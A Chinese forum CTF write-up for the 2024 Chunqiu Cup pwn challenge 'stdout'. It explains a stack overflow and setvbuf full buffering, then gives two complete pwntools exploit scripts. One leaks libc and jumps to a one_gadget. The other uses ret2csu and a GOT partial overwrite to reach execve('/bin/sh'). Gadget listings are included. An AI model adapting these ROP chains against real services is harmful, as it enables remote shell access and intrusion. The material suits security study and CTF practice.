2024春秋杯 stdout

查看 31|回复 0
作者:Zst0ry   
考点:文件,setvbuf缓冲区,ret2syscall,ret2csu
题目给了libc文件。
main函数和vlun函数存在明显的栈溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF
  init(argc, argv, envp);
  puts("where is my stdout???");
  read(0, buf, 0x60uLL);
  return 0;
}
ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF
  return read(0, buf, 0x200uLL);
}
解1
直接从main跳到vuln,然后写了got地址、libc地址,ret2libc收工。
然后老是泄露不出来。。。
原因是setvbuf设置了stdout全缓冲:
int init()
{
  setvbuf(stdout, 0LL, 0, 0LL);
  return setvbuf(stdin, 0LL, 2, 0LL);
}
setvbuf函数,它有三种mode:
全缓冲:(_IOFBF)0,缓冲区满 或 调用fflush() 后输出缓冲区内容。
行缓冲:(_IOLBF)1,缓冲区满 或 遇到换行符 或 调用fflush() 后输出缓冲区内容。
无缓冲:(_IONBF)2,直接输出。
也就是说,要想使缓冲区的got地址打印出来,有以下思路:
[ol]
  • 重新设置setvbuf,但这不知道管不管用,没法尝试因为这需要4个参数,没法控制rdx和rcx
  • 调用fflush(stdout),但是需要泄露libc地址,死循环,这里做不到
  • 挤爆缓冲区,自然就会把内容打印出来了
    这里只有第三种思路是可行的。
    [/ol]
    但是实际操作的时候,本地可以getshell,但是远程不行,寄!
    另外,system("/bin/sh")不行,但是one_gadget可以。
    Exp
    from pwn import *
    import sys
    if len(sys.argv) == 3:
        ip = sys.argv[1]
        port = sys.argv[2]
        sh = remote(ip,port)
    else:
        sh = process("./pwn")
    elf = ELF("./pwn")
    # libc = elf.libc
    libc = ELF("./libc-2.31.so")
    # libc = ELF("./libc.so.6")
    # context(os="linux",arch="amd64",log_level="debug")
    #gdb.attach(sh)
    offset1 = 0x50+8
    vuln = 0x40125D
    offset2 = 0x20+8
    pop_rdi = 0x00000000004013d3 # pop rdi ; ret
    ret = 0x000000000040101a # ret
    puts_plt = elf.plt["puts"]
    puts_got = elf.got["puts"]
    main = elf.symbols["main"]
    extend = elf.symbols["extend"]
    hello = 0x402032
    just = 0x402008
    sh.send(b"a"*offset1 + p64(vuln))
    sleep(1)
    payload = b'b'*(offset2) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(hello) + p64(puts_plt)+ p64(vuln) + p64(vuln)
    sh.send(payload)
    recv_data = sh.recv(timeout=1)
    print("----",len(recv_data))
    i = 0
    # 用while或者for都行
    # while len(recv_data) == 0:
    #     payload = b'c'*(offset2) + p64(pop_rdi) + p64(just) + p64(puts_plt) + p64(vuln)
    #     # sleep(1)
    #     sh.send(payload)
    #     print(i)
    #     wait = 1
    #     if i == 29:
    #         wait = 3
    #     recv_data = sh.recv(numb=48,timeout=wait)
    #     i = 1 + i
    for i in range(0):
        payload = b'c'*(offset2) + p64(pop_rdi) + p64(just) + p64(puts_plt) + p64(vuln)
        sleep(1)
        sh.send(payload)
        print(i)
    recv_data = sh.recv()
    # print(sh.recv())
    puts_addr = u64(recv_data.split(b"hello")[0].split(b'\n')[1].ljust(8,b"\x00"))
    print(recv_data.split(b"hello")[0])
    print(hex(puts_addr))
    pause()
    # pause()
    # puts_addr = u64(sh.recvuntil(b"\x7f")[-6:])
    # print(puts_addr)
    puts_offset = libc.symbols["puts"]
    libc_base = puts_addr - puts_offset
    system = libc_base + libc.symbols["system"]
    bin_sh = next(libc.search(b"/bin/sh\x00")) + libc_base
    print("bin_sh--",hex(bin_sh)," system--",hex(system))
    '''
    0xe3afe execve("/bin/sh", r15, r12)
    constraints:
      [r15] == NULL || r15 == NULL || r15 is a valid argv
      [r12] == NULL || r12 == NULL || r12 is a valid envp
    0xe3b01 execve("/bin/sh", r15, rdx)
    constraints:
      [r15] == NULL || r15 == NULL || r15 is a valid argv
      [rdx] == NULL || rdx == NULL || rdx is a valid envp
    0xe3b04 execve("/bin/sh", rsi, rdx)
    constraints:
      [rsi] == NULL || rsi == NULL || rsi is a valid argv
      [rdx] == NULL || rdx == NULL || rdx is a valid envp
    '''
    one_gadget = [0xe3afe,0xe3b01,0xe3b04]
    pop_r15_r12 = 0x00000000004013cc # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    # payload = b'a'*(offset2) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(ret)+ p64(system)
    payload = b'a'*offset2 + p64(pop_r15_r12) + p64(0) * 4 + p64(one_gadget[0] + libc_base)
    #payload = flat([b'a'*offset2,pop_r15_r12,0,0,0,0,one_gadget[0]+libc_base])
    sh.send(payload)
    sh.interactive()


    1.png (78.26 KB, 下载次数: 0)
    下载附件
    2024-7-9 19:26 上传

    有一篇类似的题目writeup
    https://mp.weixin.qq.com/s/hBzkylk58OoXWlQ7e8ipcQ
    解2
    控制读入binsh,修改setvbuf低位为syscall,通过read修改,然后read读入赋给rax为0x3b,csu跳到syscall执行
    写入/bin/sh不难,写到bss段即可
    修改setvbuf低位为syscall,这个是相邻函数存在着syscall


    2.png (145.53 KB, 下载次数: 0)
    下载附件
    2024-7-9 19:26 上传



    3.png (119.76 KB, 下载次数: 0)
    下载附件
    2024-7-9 19:26 上传

    read函数的返回值是读入数据的长度,存放在rax。
    通过ret2csu执行syscall
    # csu1
    .text:00000000004013CA 5B                            pop     rbx
    .text:00000000004013CB 5D                            pop     rbp
    .text:00000000004013CC 41 5C                         pop     r12
    .text:00000000004013CE 41 5D                         pop     r13
    .text:00000000004013D0 41 5E                         pop     r14
    .text:00000000004013D2 41 5F                         pop     r15
    .text:00000000004013D4 C3                            retn
    # csu2
    .text:00000000004013B0 4C 89 F2                      mov     rdx, r14
    .text:00000000004013B3 4C 89 EE                      mov     rsi, r13
    .text:00000000004013B6 44 89 E7                      mov     edi, r12d
    .text:00000000004013B9 41 FF 14 DF                   call    qword ptr [r15+rbx*8]
    先执行csu1,然后通过ret跳转执行csu2,最后call [r15]
    rbx:取0,方便后面call的时候控制地址
    rbp:没啥用,取0
    r12:mov给rdi-->mov edi, r12d,rdi高位都是0
    r13:传给rsi
    r14:传给rdx
    r15:放入的值应该是存放了要执行函数地址的指针,如放入某个got地址,其指向的则是函数的真实地址,call的时候就回去执行该函数
    本地不行,远程可以,6!
    Exp
    from pwn import *
    import sys
    if len(sys.argv) == 3:
        ip = sys.argv[1]
        port = sys.argv[2]
        sh = remote(ip,port)
    else:
        sh = process("./pwn")
    libc = ELF("./libc-2.31.so")
    elf = ELF("./pwn")
    context(os="linux",arch="amd64",log_level="debug")
    # gdb.attach(sh,"b *0x401348")
    offset1 = 0x50+8
    offset2 = 0x20+8
    bss = 0x404070 + 0x100
    read_plt = elf.plt["read"]
    setvbuf_got = elf.got["setvbuf"]
    pop_rsi_r15 = 0x00000000004013d1 # pop rsi ; pop r15 ; ret
    pop_rdi = 0x00000000004013d3 # pop rdi ; ret
    csu1 = 0x4013CA
    csu2 = 0x4013B0
    vuln = 0x40125D
    payload1 = b"a"*offset1 + p64(vuln)
    sh.send(payload1)
    # call read
    payload2 = b"a"*offset2 + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read_plt) + p64(vuln)
    payload2 = payload2.ljust(0x200,b"\x00") # vuln--->read(0, buf, 0x200uLL)
    sh.send(payload2)
    sleep(1)
    # write "/bin/sh\x00" to bss
    sh.send(b"/bin/sh\x00")
    payload3 = b"a"*offset2+p64(pop_rsi_r15)+p64(setvbuf_got)+p64(0)+p64(read_plt)
    payload3 += p64(pop_rsi_r15)+p64(bss+0x200)+p64(0)+p64(read_plt)
    payload3 += p64(csu1)+p64(0)*1+p64(1)+p64(bss)+p64(0)*2+p64(setvbuf_got)+p64(csu2)
    # 0--rbx,bss--r12d--edi,0--r13--rsi,0--r14--rdx,setvbuf_got--r15--call [r15+0*8]
    # payload3 += payload3.ljust(0x200,b"\x00")
    pause()
    sh.send(payload3)
    sleep(1)
    # change setvbuf to syscall
    sh.send(b"\xc9")
    pause()
    sh.send(b"c"*0x3b)
    # read return length of inputed data,rax
    # rax==>59 sys_execve rdi==>const char *filename,rsi==>const char *const argv[],rsi==>const char *const envp[]
    sh.interactive()
    '''
    Gadgets information
    ============================================================
    0x00000000004013cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    0x00000000004013ce : pop r13 ; pop r14 ; pop r15 ; ret
    0x00000000004013d0 : pop r14 ; pop r15 ; ret
    0x00000000004013d2 : pop r15 ; ret
    0x00000000004013cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    0x00000000004013cf : pop rbp ; pop r14 ; pop r15 ; ret
    0x00000000004011fd : pop rbp ; ret
    0x00000000004013d3 : pop rdi ; ret
    0x00000000004013d1 : pop rsi ; pop r15 ; ret
    0x00000000004013cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
    0x000000000040101a : ret
    csu1
    =============================================================
    .text:00000000004013CA 5B                            pop     rbx
    .text:00000000004013CB 5D                            pop     rbp
    .text:00000000004013CC 41 5C                         pop     r12
    .text:00000000004013CE 41 5D                         pop     r13
    .text:00000000004013D0 41 5E                         pop     r14
    .text:00000000004013D2 41 5F                         pop     r15
    .text:00000000004013D4 C3                            retn
    csu2
    ==============================================================
    .text:00000000004013B0 4C 89 F2                      mov     rdx, r14
    .text:00000000004013B3 4C 89 EE                      mov     rsi, r13
    .text:00000000004013B6 44 89 E7                      mov     edi, r12d
    .text:00000000004013B9 41 FF 14 DF                   call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
    '''
    参考:
    https://www.cnblogs.com/imarch22/p/18288087#stdout
    https://www.mrskye.cn/archives/eedef7bd/
    https://xkaneiki.github.io/2020/10/23/unexploitable/
    https://cloud.tencent.com/developer/article/2063693

    缓冲区, 函数

  • 您需要登录后才可以回帖 登录 | 立即注册

    返回顶部